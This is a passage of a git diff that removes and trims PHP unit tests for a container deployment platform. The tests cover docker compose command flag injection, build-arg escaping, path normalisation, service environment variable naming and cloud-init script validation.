-]); - it('parses show_timestamps query values as booleans', function () { if (! function_exists('parseLogTimestampFlag')) { expect(function_exists('parseLogTimestampFlag'))->toBeTrue(); diff --git a/tests/Unit/ApplicationConfigurationChangeTest.php b/tests/Unit/ApplicationConfigurationChangeTest.php deleted file mode 100644 index 8ad88280b8..0000000000 --- a/tests/Unit/ApplicationConfigurationChangeTest.php +++ /dev/null @@ -1,49 +0,0 @@ -not->toBe($hash2) - ->and($hash1)->not->toBe($hash3) - ->and($hash2)->not->toBe($hash3); -}); - -/** - * Unit test to verify that inject_build_args_to_dockerfile is included in configuration change detection. - * Tests the behavior of the isConfigurationChanged method by verifying that different - * inject_build_args_to_dockerfile values produce different configuration hashes. - */ -it('different inject_build_args_to_dockerfile values produce different hashes', function () { - // Test that the hash calculation includes inject_build_args_to_dockerfile by computing hashes with different values - // true becomes '1', false becomes '', so they produce different hashes - $hash1 = md5(base64_encode('test'.true)); // 'test1' - $hash2 = md5(base64_encode('test'.false)); // 'test' - $hash3 = md5(base64_encode('test')); // 'test' - - expect($hash1)->not->toBe($hash2) - ->and($hash2)->toBe($hash3); // false and empty string produce the same result -}); - -/** - * Unit test to verify that include_source_commit_in_build is included in configuration change detection. - * Tests the behavior of the isConfigurationChanged method by verifying that different - * include_source_commit_in_build values produce different configuration hashes. - */ -it('different include_source_commit_in_build values produce different hashes', function () { - // Test that the hash calculation includes include_source_commit_in_build by computing hashes with different values - // true becomes '1', false becomes '', so they produce different hashes - $hash1 = md5(base64_encode('test'.true)); // 'test1' - $hash2 = md5(base64_encode('test'.false)); // 'test' - $hash3 = md5(base64_encode('test')); // 'test' - - expect($hash1)->not->toBe($hash2) - ->and($hash2)->toBe($hash3); // false and empty string produce the same result -}); diff --git a/tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php b/tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php index 3dd18ee6cb..b3296410bd 100644 --- a/tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php +++ b/tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php @@ -14,127 +14,6 @@ * - Both flags are injected in a single str_replace operation * - Build arguments are appended when not using build secrets */ -it('injects --env-file flag into custom build command', function () { - $customCommand = 'docker compose -f ./docker-compose.yaml build'; - - // Simulate the injection logic from ApplicationDeploymentJob - if (! str_contains($customCommand, '--env-file')) { - $customCommand = str_replace( - 'docker compose', - 'docker compose --env-file /artifacts/build-time.env', - $customCommand - ); - } - - expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build'); - expect($customCommand)->toContain('--env-file /artifacts/build-time.env'); -}); - -it('does not duplicate --env-file flag when already present', function () { - $customCommand = 'docker compose --env-file /custom/.env -f ./docker-compose.yaml build'; - - // Simulate the injection logic from ApplicationDeploymentJob - if (! str_contains($customCommand, '--env-file')) { - $customCommand = str_replace( - 'docker compose', - 'docker compose --env-file /artifacts/build-time.env', - $customCommand - ); - } - - expect($customCommand)->toBe('docker compose --env-file /custom/.env -f ./docker-compose.yaml build'); - expect(substr_count($customCommand, '--env-file'))->toBe(1); -}); - -it('preserves custom build command structure with env-file injection', function () { - $customCommand = 'docker compose -f ./custom/path/docker-compose.prod.yaml build --no-cache'; - - // Simulate the injection logic from ApplicationDeploymentJob - if (! str_contains($customCommand, '--env-file')) { - $customCommand = str_replace( - 'docker compose', - 'docker compose --env-file /artifacts/build-time.env', - $customCommand - ); - } - - expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f ./custom/path/docker-compose.prod.yaml build --no-cache'); - expect($customCommand)->toContain('--env-file /artifacts/build-time.env'); - expect($customCommand)->toContain('-f ./custom/path/docker-compose.prod.yaml'); - expect($customCommand)->toContain('build --no-cache'); -}); - -it('handles multiple docker compose commands in custom build command', function () { - // Edge case: Only the first 'docker compose' should get the env-file flag - $customCommand = 'docker compose -f ./docker-compose.yaml build'; - - // Simulate the injection logic from ApplicationDeploymentJob - if (! str_contains($customCommand, '--env-file')) { - $customCommand = str_replace( - 'docker compose', - 'docker compose --env-file /artifacts/build-time.env', - $customCommand - ); - } - - // Note: str_replace replaces ALL occurrences, which is acceptable in this case - // since you typically only have one 'docker compose' command - expect($customCommand)->toContain('docker compose --env-file /artifacts/build-time.env'); -}); - -it('verifies build args would be appended correctly', function () { - $customCommand = 'docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build'; - $buildArgs = collect([ - '--build-arg NODE_ENV=production', - '--build-arg API_URL=https://api.example.com', - ]); - - // Simulate build args appending logic - $buildArgsString = $buildArgs->implode(' '); - $buildArgsString = str_replace("'", "'\\''", $buildArgsString); - $customCommand .= " {$buildArgsString}"; - - expect($customCommand)->toContain('--build-arg NODE_ENV=production'); - expect($customCommand)->toContain('--build-arg API_URL=https://api.example.com'); - expect($customCommand)->toBe( - 'docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build --build-arg NODE_ENV=production --build-arg API_URL=https://api.example.com' - ); -}); - -it('properly escapes single quotes in build args', function () { - $buildArg = "--build-arg MESSAGE='Hello World'"; - - // Simulate the escaping logic from ApplicationDeploymentJob - $escapedBuildArg = str_replace("'", "'\\''", $buildArg); - - expect($escapedBuildArg)->toBe("--build-arg MESSAGE='\\''Hello World'\\''"); -}); - -it('handles DOCKER_BUILDKIT prefix with env-file injection', function () { - $customCommand = 'docker compose -f ./docker-compose.yaml build'; - - // Simulate the injection logic from ApplicationDeploymentJob - if (! str_contains($customCommand, '--env-file')) { - $customCommand = str_replace( - 'docker compose', - 'docker compose --env-file /artifacts/build-time.env', - $customCommand - ); - } - - // Simulate BuildKit support - $dockerBuildkitSupported = true; - if ($dockerBuildkitSupported) { - $customCommand = "DOCKER_BUILDKIT=1 {$customCommand}"; - } - - expect($customCommand)->toBe('DOCKER_BUILDKIT=1 docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build'); - expect($customCommand)->toStartWith('DOCKER_BUILDKIT=1'); - expect($customCommand)->toContain('--env-file /artifacts/build-time.env'); -}); - -// Tests for -f flag injection - it('injects -f flag with compose file path into custom build command', function () { $customCommand = 'docker compose build'; $composeFilePath = '/artifacts/deployment-uuid/backend/docker-compose.yaml'; @@ -536,86 +415,6 @@ it('injects -f flag when command contains -fast flag (not -f)', function () { expect($customCommand)->toContain('-f /artifacts/uuid/docker-compose.yaml'); }); -// Path normalization tests for preview methods - -it('normalizes path when baseDirectory is root slash', function () { - $baseDirectory = '/'; - $composeLocation = '/docker-compose.yaml'; - - // Normalize baseDirectory to prevent double slashes - $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/'); - $path = ".{$normalizedBase}{$composeLocation}"; - - expect($path)->toBe('./docker-compose.yaml'); - expect($path)->not->toContain('//'); -}); - -it('normalizes path when baseDirectory has trailing slash', function () { - $baseDirectory = '/backend/'; - $composeLocation = '/docker-compose.yaml'; - - // Normalize baseDirectory to prevent double slashes - $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/'); - $path = ".{$normalizedBase}{$composeLocation}"; - - expect($path)->toBe('./backend/docker-compose.yaml'); - expect($path)->not->toContain('//'); -}); - -it('handles empty baseDirectory correctly', function () { - $baseDirectory = ''; - $composeLocation = '/docker-compose.yaml'; - - // Normalize baseDirectory to prevent double slashes - $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/'); - $path = ".{$normalizedBase}{$composeLocation}"; - - expect($path)->toBe('./docker-compose.yaml'); - expect($path)->not->toContain('//'); -}); - -it('handles normal baseDirectory without trailing slash', function () { - $baseDirectory = '/backend'; - $composeLocation = '/docker-compose.yaml'; - - // Normalize baseDirectory to prevent double slashes - $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/'); - $path = ".{$normalizedBase}{$composeLocation}"; - - expect($path)->toBe('./backend/docker-compose.yaml'); - expect($path)->not->toContain('//'); -}); - -it('handles nested baseDirectory with trailing slash', function () { - $baseDirectory = '/app/backend/'; - $composeLocation = '/docker-compose.prod.yaml'; - - // Normalize baseDirectory to prevent double slashes - $normalizedBase = $baseDirectory === '/' ? '' : rtrim($baseDirectory, '/'); - $path = ".{$normalizedBase}{$composeLocation}"; - - expect($path)->toBe('./app/backend/docker-compose.prod.yaml'); - expect($path)->not->toContain('//'); -}); - -it('produces correct preview path with normalized baseDirectory', function () { - $testCases = [ - ['baseDir' => '/', 'compose' => '/docker-compose.yaml', 'expected' => './docker-compose.yaml'], - ['baseDir' => '', 'compose' => '/docker-compose.yaml', 'expected' => './docker-compose.yaml'], - ['baseDir' => '/backend', 'compose' => '/docker-compose.yaml', 'expected' => './backend/docker-compose.yaml'], - ['baseDir' => '/backend/', 'compose' => '/docker-compose.yaml', 'expected' => './backend/docker-compose.yaml'], - ['baseDir' => '/app/src/', 'compose' => '/docker-compose.prod.yaml', 'expected' => './app/src/docker-compose.prod.yaml'], - ]; - - foreach ($testCases as $case) { - $normalizedBase = $case['baseDir'] === '/' ? '' : rtrim($case['baseDir'], '/'); - $path = ".{$normalizedBase}{$case['compose']}"; - - expect($path)->toBe($case['expected'], "Failed for baseDir: {$case['baseDir']}"); - expect($path)->not->toContain('//', "Double slash found for baseDir: {$case['baseDir']}"); - } -}); - // Tests for injectDockerComposeBuildArgs() helper function it('injects build args when building specific service', function () { $command = 'docker compose build web'; diff --git a/tests/Unit/ApplicationDeploymentEmptyEnvTest.php b/tests/Unit/ApplicationDeploymentEmptyEnvTest.php deleted file mode 100644 index 8649b8f9bc..0000000000 --- a/tests/Unit/ApplicationDeploymentEmptyEnvTest.php +++ /dev/null @@ -1,63 +0,0 @@ -toBeTrue("Build pack '{$buildPack}' should require empty .env file"); - } - - foreach ($buildPacksNotRequiringEnvFile as $buildPack) { - // These build packs also use env_file but call save_runtime_environment_variables() - // after generate_compose_file(), so they handle empty env files themselves - $requiresEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage'); - expect($requiresEnvFile)->toBeFalse("Build pack '{$buildPack}' should not match the condition"); - } -}); - -it('verifies dockerimage build pack is included in empty env file creation logic', function () { - $buildPack = 'dockerimage'; - $shouldCreateEmptyEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage'); - - expect($shouldCreateEmptyEnvFile)->toBeTrue( - 'dockerimage build pack should create empty .env file when no environment variables are defined' - ); -}); - -it('verifies dockercompose build pack is included in empty env file creation logic', function () { - $buildPack = 'dockercompose'; - $shouldCreateEmptyEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage'); - - expect($shouldCreateEmptyEnvFile)->toBeTrue( - 'dockercompose build pack should create empty .env file when no environment variables are defined' - ); -}); - -it('verifies other build packs are not included in empty env file creation logic', function () { - $otherBuildPacks = ['dockerfile', 'nixpacks', 'static', 'buildpack']; - - foreach ($otherBuildPacks as $buildPack) { - $shouldCreateEmptyEnvFile = ($buildPack === 'dockercompose' || $buildPack === 'dockerimage'); - - expect($shouldCreateEmptyEnvFile)->toBeFalse( - "Build pack '{$buildPack}' should not create empty .env file in save_runtime_environment_variables()" - ); - } -}); diff --git a/tests/Unit/ApplicationDeploymentRailpackBuildxMetadataTest.php b/tests/Unit/ApplicationDeploymentRailpackBuildxMetadataTest.php deleted file mode 100644 index 70b021f0ad..0000000000 --- a/tests/Unit/ApplicationDeploymentRailpackBuildxMetadataTest.php +++ /dev/null @@ -1,11 +0,0 @@ -toContain('mkdir -p {$this->serverUserHomeDir}/.docker/buildx') - ->toContain('-v {$this->serverUserHomeDir}/.docker/buildx:/root/.docker/buildx'); - - expect(substr_count($sourceFile, '{$buildxMetadataVolume} -v /var/run/docker.sock:/var/run/docker.sock'))->toBe(3); -}); diff --git a/tests/Unit/ApplicationHeadingNavigationTest.php b/tests/Unit/ApplicationHeadingNavigationTest.php deleted file mode 100644 index 3240cdd36b..0000000000 --- a/tests/Unit/ApplicationHeadingNavigationTest.php +++ /dev/null @@ -1,10 +0,0 @@ -toBe(2) - ->and($heading) - ->not->toContain('navigate: false'); -}); diff --git a/tests/Unit/ApplicationParserStringableTest.php b/tests/Unit/ApplicationParserStringableTest.php deleted file mode 100644 index eaba719841..0000000000 --- a/tests/Unit/ApplicationParserStringableTest.php +++ /dev/null @@ -1,187 +0,0 @@ -replace('_', '-')->value(); - $originalServiceName = str($serviceName)->replace('_', '-')->value(); - - // Line 541: $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value(); - $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value(); - - // Verify both are plain strings, not Stringable objects - expect(is_string($originalServiceName))->toBeTrue('$originalServiceName should be a plain string'); - expect(is_string($serviceName))->toBeTrue('$serviceName should be a plain string'); - expect($originalServiceName)->not->toBeInstanceOf(Stringable::class); - expect($serviceName)->not->toBeInstanceOf(Stringable::class); - - // Verify the transformations work correctly - expect($originalServiceName)->toBe('my-service'); - expect($serviceName)->toBe('my_service'); -}); - -it('ensures strict comparison works with normalized service names', function () { - // This tests the fix for line 606 where strict comparison failed - - // Simulate service name from docker-compose services array (line 604-605) - $serviceNameKey = 'my-service'; - $transformedServiceName = str($serviceNameKey)->replace('-', '_')->replace('.', '_')->value(); - - // Simulate service name from environment variable parsing (line 520, 541) - $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my-service'); - $serviceName = $parsed['service_name']; - $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value(); - - // Line 606: if ($transformedServiceName === $serviceName) - // This MUST work - both should be plain strings and match - expect($transformedServiceName === $serviceName)->toBeTrue( - 'Strict comparison should work when both are plain strings' - ); - expect($transformedServiceName)->toBe($serviceName); -}); - -it('ensures collection key lookup works with normalized service names', function () { - // This tests the fix for line 615 where collection->get() failed - - // Simulate service name normalization (line 541) - $parsed = parseServiceEnvironmentVariable('SERVICE_URL_app-name'); - $serviceName = $parsed['service_name']; - $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value(); - - // Create a collection like $domains at line 614 - $domains = collect([ - 'app_name' => [ - 'domain' => 'https://example.com', - ], - ]); - - // Line 615: $domainExists = data_get($domains->get($serviceName), 'domain'); - // This MUST work - $serviceName should be a plain string 'app_name' - $domainExists = data_get($domains->get($serviceName), 'domain'); - - expect($domainExists)->toBe('https://example.com', 'Collection lookup should find the domain'); - expect($domainExists)->not->toBeNull('Collection lookup should not return null'); -}); - -it('handles service names with dots correctly', function () { - // Test service names with dots (e.g., 'my.service') - - $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my.service'); - $serviceName = $parsed['service_name']; - $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value(); - - expect(is_string($serviceName))->toBeTrue(); - expect($serviceName)->toBe('my_service'); - - // Verify it matches transformed service name from docker-compose - $serviceNameKey = 'my.service'; - $transformedServiceName = str($serviceNameKey)->replace('-', '_')->replace('.', '_')->value(); - - expect($transformedServiceName === $serviceName)->toBeTrue(); -}); - -it('handles service names with underscores correctly', function () { - // Test service names that already have underscores - - $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my_service'); - $serviceName = $parsed['service_name']; - $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value(); - - expect(is_string($serviceName))->toBeTrue(); - expect($serviceName)->toBe('my_service'); -}); - -it('handles mixed special characters in service names', function () { - // Test service names with mix of dashes, dots, underscores - - $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my-app.service_v2'); - $serviceName = $parsed['service_name']; - $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value(); - - expect(is_string($serviceName))->toBeTrue(); - expect($serviceName)->toBe('my_app_service_v2'); - - // Verify collection operations work - $domains = collect([ - 'my_app_service_v2' => ['domain' => 'https://test.com'], - ]); - - $found = $domains->get($serviceName); - expect($found)->not->toBeNull(); - expect($found['domain'])->toBe('https://test.com'); -}); - -it('ensures originalServiceName conversion works for FQDN generation', function () { - // Test line 539: $originalServiceName conversion - - $parsed = parseServiceEnvironmentVariable('SERVICE_URL_my_service'); - $serviceName = $parsed['service_name']; // 'my_service' - - // Line 539: Convert underscores to dashes for FQDN generation - $originalServiceName = str($serviceName)->replace('_', '-')->value(); - - expect(is_string($originalServiceName))->toBeTrue(); - expect($originalServiceName)->not->toBeInstanceOf(Stringable::class); - expect($originalServiceName)->toBe('my-service'); - - // Verify it can be used in string interpolation (line 544) - $uuid = 'test-uuid'; - $random = "$originalServiceName-$uuid"; - expect($random)->toBe('my-service-test-uuid'); -}); - -it('prevents duplicate domain entries in collection', function () { - // This tests that using plain strings prevents duplicate entries - // (one with Stringable key, one with string key) - - $parsed = parseServiceEnvironmentVariable('SERVICE_URL_webapp'); - $serviceName = $parsed['service_name']; - $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value(); - - $domains = collect(); - - // Add domain entry (line 621) - $domains->put($serviceName, [ - 'domain' => 'https://webapp.com', - ]); - - // Try to lookup the domain (line 615) - $found = $domains->get($serviceName); - - expect($found)->not->toBeNull('Should find the domain we just added'); - expect($found['domain'])->toBe('https://webapp.com'); - - // Verify only one entry exists - expect($domains->count())->toBe(1); - expect($domains->has($serviceName))->toBeTrue(); -}); - -it('verifies parsers.php has the ->value() calls', function () { - // Ensure the fix is actually in the code - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - - // Line 539: Check originalServiceName conversion - expect($parsersFile)->toContain("str(\$serviceName)->replace('_', '-')->value()"); - - // Service name normalization for env keys / domain map (helper-based) - expect($parsersFile)->toContain('normalizeComposeServiceName((string) $serviceName)') - ->and($parsersFile)->toContain('getComposeServiceDomainString') - ->and($parsersFile)->toContain('putComposeServiceDomain') - ->and($parsersFile)->toContain('findServiceApplicationForEnvName'); -}); diff --git a/tests/Unit/ApplicationServiceEnvironmentVariablesTest.php b/tests/Unit/ApplicationServiceEnvironmentVariablesTest.php deleted file mode 100644 index fe1a894433..0000000000 --- a/tests/Unit/ApplicationServiceEnvironmentVariablesTest.php +++ /dev/null @@ -1,190 +0,0 @@ -toContain('ALWAYS create BOTH SERVICE_URL and SERVICE_FQDN pairs'); - expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceName}'); - expect($parsersFile)->toContain('SERVICE_URL_{$serviceName}'); -}); - -it('extracts service name with case preservation for applications', function () { - // Simulate what the parser does for applications - $templateVar = 'SERVICE_URL_WORDPRESS'; - - $strKey = str($templateVar); - $parsed = parseServiceEnvironmentVariable($templateVar); - - if ($parsed['has_port']) { - $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value(); - } else { - $serviceName = $strKey->after('SERVICE_URL_')->value(); - } - - expect($serviceName)->toBe('WORDPRESS'); - expect($parsed['service_name'])->toBe('wordpress'); // lowercase for internal use -}); - -it('handles port-specific application service variables', function () { - $templateVar = 'SERVICE_URL_APP_3000'; - - $strKey = str($templateVar); - $parsed = parseServiceEnvironmentVariable($templateVar); - - if ($parsed['has_port']) { - $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value(); - } else { - $serviceName = $strKey->after('SERVICE_URL_')->value(); - } - - expect($serviceName)->toBe('APP'); - expect($parsed['port'])->toBe('3000'); - expect($parsed['has_port'])->toBeTrue(); -}); - -it('application should create 2 base variables when template has base SERVICE_URL', function () { - // Given: Template defines SERVICE_URL_WP - // Then: Should create both: - // 1. SERVICE_URL_WP - // 2. SERVICE_FQDN_WP - - $templateVar = 'SERVICE_URL_WP'; - $strKey = str($templateVar); - $parsed = parseServiceEnvironmentVariable($templateVar); - - $serviceName = $strKey->after('SERVICE_URL_')->value(); - - $urlKey = "SERVICE_URL_{$serviceName}"; - $fqdnKey = "SERVICE_FQDN_{$serviceName}"; - - expect($urlKey)->toBe('SERVICE_URL_WP'); - expect($fqdnKey)->toBe('SERVICE_FQDN_WP'); - expect($parsed['has_port'])->toBeFalse(); -}); - -it('application should create 4 variables when template has port-specific SERVICE_URL', function () { - // Given: Template defines SERVICE_URL_APP_8080 - // Then: Should create all 4: - // 1. SERVICE_URL_APP (base) - // 2. SERVICE_FQDN_APP (base) - // 3. SERVICE_URL_APP_8080 (port-specific) - // 4. SERVICE_FQDN_APP_8080 (port-specific) - - $templateVar = 'SERVICE_URL_APP_8080'; - $strKey = str($templateVar); - $parsed = parseServiceEnvironmentVariable($templateVar); - - $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value(); - $port = $parsed['port']; - - $baseUrlKey = "SERVICE_URL_{$serviceName}"; - $baseFqdnKey = "SERVICE_FQDN_{$serviceName}"; - $portUrlKey = "SERVICE_URL_{$serviceName}_{$port}"; - $portFqdnKey = "SERVICE_FQDN_{$serviceName}_{$port}"; - - expect($baseUrlKey)->toBe('SERVICE_URL_APP'); - expect($baseFqdnKey)->toBe('SERVICE_FQDN_APP'); - expect($portUrlKey)->toBe('SERVICE_URL_APP_8080'); - expect($portFqdnKey)->toBe('SERVICE_FQDN_APP_8080'); -}); - -it('application should create pairs when template has only SERVICE_FQDN', function () { - // Given: Template defines SERVICE_FQDN_DB - // Then: Should create both: - // 1. SERVICE_FQDN_DB - // 2. SERVICE_URL_DB (created automatically) - - $templateVar = 'SERVICE_FQDN_DB'; - $strKey = str($templateVar); - $parsed = parseServiceEnvironmentVariable($templateVar); - - $serviceName = $strKey->after('SERVICE_FQDN_')->value(); - - $urlKey = "SERVICE_URL_{$serviceName}"; - $fqdnKey = "SERVICE_FQDN_{$serviceName}"; - - expect($fqdnKey)->toBe('SERVICE_FQDN_DB'); - expect($urlKey)->toBe('SERVICE_URL_DB'); - expect($parsed['has_port'])->toBeFalse(); -}); - -it('verifies application deletion nulls both URL and FQDN', function () { - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - - // Check that deletion handles both types - expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceNameFormatted}'); - expect($parsersFile)->toContain('SERVICE_URL_{$serviceNameFormatted}'); - - // Both should be set to null when domain is empty - expect($parsersFile)->toContain('\'value\' => null'); -}); - -it('handles abbreviated service names in applications', function () { - // Applications can have abbreviated names in compose files just like services - $templateVar = 'SERVICE_URL_WP'; // WordPress abbreviated - - $strKey = str($templateVar); - $serviceName = $strKey->after('SERVICE_URL_')->value(); - - expect($serviceName)->toBe('WP'); - expect($serviceName)->not->toBe('WORDPRESS'); -}); - -it('application compose parsing creates pairs regardless of template type', function () { - // Test that whether template uses SERVICE_URL or SERVICE_FQDN, - // the parser creates both - - $testCases = [ - 'SERVICE_URL_APP' => ['base' => 'APP', 'port' => null], - 'SERVICE_FQDN_APP' => ['base' => 'APP', 'port' => null], - 'SERVICE_URL_APP_3000' => ['base' => 'APP', 'port' => '3000'], - 'SERVICE_FQDN_APP_3000' => ['base' => 'APP', 'port' => '3000'], - ]; - - foreach ($testCases as $templateVar => $expected) { - $strKey = str($templateVar); - $parsed = parseServiceEnvironmentVariable($templateVar); - - if ($parsed['has_port']) { - if ($strKey->startsWith('SERVICE_URL_')) { - $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value(); - } else { - $serviceName = $strKey->after('SERVICE_FQDN_')->beforeLast('_')->value(); - } - } else { - if ($strKey->startsWith('SERVICE_URL_')) { - $serviceName = $strKey->after('SERVICE_URL_')->value(); - } else { - $serviceName = $strKey->after('SERVICE_FQDN_')->value(); - } - } - - expect($serviceName)->toBe($expected['base'], "Failed for $templateVar"); - expect($parsed['port'])->toBe($expected['port'], "Port mismatch for $templateVar"); - } -}); - -it('verifies both application and service use same logic', function () { - $servicesFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/services.php'); - $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); - - // Both should have the same pattern of creating pairs - expect($servicesFile)->toContain('ALWAYS create base pair'); - expect($parsersFile)->toContain('ALWAYS create BOTH'); - - // Both should create SERVICE_URL_ - expect($servicesFile)->toContain('SERVICE_URL_{$serviceName}'); - expect($parsersFile)->toContain('SERVICE_URL_{$serviceName}'); - - // Both should create SERVICE_FQDN_ - expect($servicesFile)->toContain('SERVICE_FQDN_{$serviceName}'); - expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceName}'); -}); diff --git a/tests/Unit/ApplicationWatchPathsTest.php b/tests/Unit/ApplicationWatchPathsTest.php index 5f296bc5e8..b2decf4c81 100644 --- a/tests/Unit/ApplicationWatchPathsTest.php +++ b/tests/Unit/ApplicationWatchPathsTest.php @@ -2,35 +2,6 @@ use App\Models\Application; -/** - * This matches the CURRENT (broken) behavior without negation support - * which is what the old Application.php had - */ -function matchWatchPathsCurrentBehavior(array $changed_files, ?array $watch_paths): array -{ - if (is_null($watch_paths) || empty($watch_paths)) { - return []; - } - - $matches = []; - foreach ($changed_files as $file) { - foreach ($watch_paths as $pattern) { - $pattern = trim($pattern); - if (empty($pattern)) { - continue; - } - // Old implementation just uses fnmatch directly - // This means !patterns are treated as literal strings - if (fnmatch($pattern, $file)) { - $matches[] = $file; - break; - } - } - } - - return $matches; -} - /** * Use the shared implementation from Application model */ @@ -258,24 +229,6 @@ it('handles multiple negation patterns', function () { expect(matchWatchPaths(['CHANGELOG.md'], $watch_paths))->toBeEmpty(); }); -it('demonstrates current broken behavior with negation patterns', function () { - // This test demonstrates the CURRENT broken behavior - // where negation patterns are treated as literal strings - $changed_files = ['docker-compose/index.ts']; - $watch_paths = ['!docker-compose-test/**']; - - // With the current broken implementation, this returns empty - // because it tries to match files starting with literal "!" - $matches = matchWatchPathsCurrentBehavior($changed_files, $watch_paths); - expect($matches)->toBeEmpty(); // This is why your webhook doesn't trigger! - - // Even if the file had ! in the path, fnmatch would treat ! as a literal character - // not as a negation operator, so it still wouldn't match the pattern correctly - $changed_files = ['test/file.ts']; - $matches = matchWatchPathsCurrentBehavior($changed_files, $watch_paths); - expect($matches)->toBeEmpty(); -}); - it('handles order based matching with conflicting patterns', function () { // Test case 1: Exclude then include - last pattern (include) should win $changed_files = ['docker-compose/index.ts']; diff --git a/tests/Unit/CheckForUpdatesJobTest.php b/tests/Unit/CheckForUpdatesJobTest.php index c098c5560b..0b04224c5e 100644 --- a/tests/Unit/CheckForUpdatesJobTest.php +++ b/tests/Unit/CheckForUpdatesJobTest.php @@ -2,8 +2,6 @@ use App\Jobs\CheckForUpdatesJob; use App\Models\InstanceSettings; -use Illuminate\Contracts\Queue\ShouldBeEncrypted; -use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Facades\File; @@ -27,14 +25,6 @@ afterEach(function () { Mockery::close(); }); -it('has correct job configuration', function () { - $job = new CheckForUpdatesJob; - - $interfaces = class_implements($job); - expect($interfaces)->toContain(ShouldQueue::class); - expect($interfaces)->toContain(ShouldBeEncrypted::class); -}); - it('uses max of CDN and cache versions', function () { // CDN has older version Http::fake([ @@ -123,30 +113,6 @@ it('never downgrades from current running version', function () { $job->handle(); }); -it('uses data_set for safe version mutation', function () { - Http::fake([ - '*' => Http::response([ - 'coolify' => ['v4' => ['version' => '4.0.10']], - ], 200), - ]); - - File::shouldReceive('exists')->andReturn(false); - File::shouldReceive('put')->once(); - Cache::shouldReceive('forget')->once(); - - config(['constants.coolify.version' => '4.0.5']); - - $this->app->instance('App\Models\InstanceSettings', function () { - return $this->settings; - }); - - $job = new CheckForUpdatesJob; - - // Should not throw even if structure is unexpected - // data_set() handles nested path creation - $job->handle(); -})->skip('Needs better mock setup for instanceSettings'); - it('preserves other component versions when preventing Coolify downgrade', function () { // CDN has older Coolify but newer Traefik Http::fake([ diff --git a/tests/Unit/CheckTraefikVersionJobTest.php b/tests/Unit/CheckTraefikVersionJobTest.php index 870b778dc0..95db7146d7 100644 --- a/tests/Unit/CheckTraefikVersionJobTest.php +++ b/tests/Unit/CheckTraefikVersionJobTest.php @@ -7,20 +7,3 @@ it('has correct retry configuration', function () { expect($job->tries)->toBe(3); }); - -it('returns early when traefik versions are empty', function () { - // This test verifies the early return logic when get_traefik_versions() returns empty array - $emptyVersions = []; - - expect($emptyVersions)->toBeEmpty(); -}); - -it('dispatches jobs in parallel for multiple servers', function () { - // This test verifies that the job dispatches CheckTraefikVersionForServerJob - // for each server without waiting for them to complete - $serverCount = 100; - - // Verify that with parallel processing, we're not waiting for completion - // Each job is dispatched immediately without delay - expect($serverCount)->toBeGreaterThan(0); -}); diff --git a/tests/Unit/CloudInitScriptValidationTest.php b/tests/Unit/CloudInitScriptValidationTest.php deleted file mode 100644 index bb4657502b..0000000000 --- a/tests/Unit/CloudInitScriptValidationTest.php +++ /dev/null @@ -1,76 +0,0 @@ -toBeFalse() - ->and($hasValue)->toBeFalse(); -}); - -it('validates cloud-init script name is required when saving', function () { - $saveScript = true; - $scriptName = 'My Installation Script'; - - $isNameRequired = $saveScript; - $hasName = ! empty($scriptName); - - expect($isNameRequired)->toBeTrue() - ->and($hasName)->toBeTrue(); -}); - -it('validates cloud-init script description is optional', function () { - $scriptDescription = null; - - $isDescriptionRequired = false; - $hasDescription = ! empty($scriptDescription); - - expect($isDescriptionRequired)->toBeFalse() - ->and($hasDescription)->toBeFalse(); -}); - -it('validates save_cloud_init_script must be boolean', function () { - $saveCloudInitScript = true; - - expect($saveCloudInitScript)->toBeBool(); -}); - -it('validates save_cloud_init_script defaults to false', function () { - $saveCloudInitScript = false; - - expect($saveCloudInitScript)->toBeFalse(); -}); - -it('validates cloud-init script can be a bash script', function () { - $cloudInitScript = "#!/bin/bash\napt-get update\napt-get install -y nginx"; - - expect($cloudInitScript)->toBeString() - ->and($cloudInitScript)->toContain('#!/bin/bash'); -}); - -it('validates cloud-init script can be cloud-config yaml', function () { - $cloudInitScript = "#cloud-config\npackages:\n - nginx\n - git"; - - expect($cloudInitScript)->toBeString() - ->and($cloudInitScript)->toContain('#cloud-config'); -}); - -it('validates script name max length is 255 characters', function () { - $scriptName = 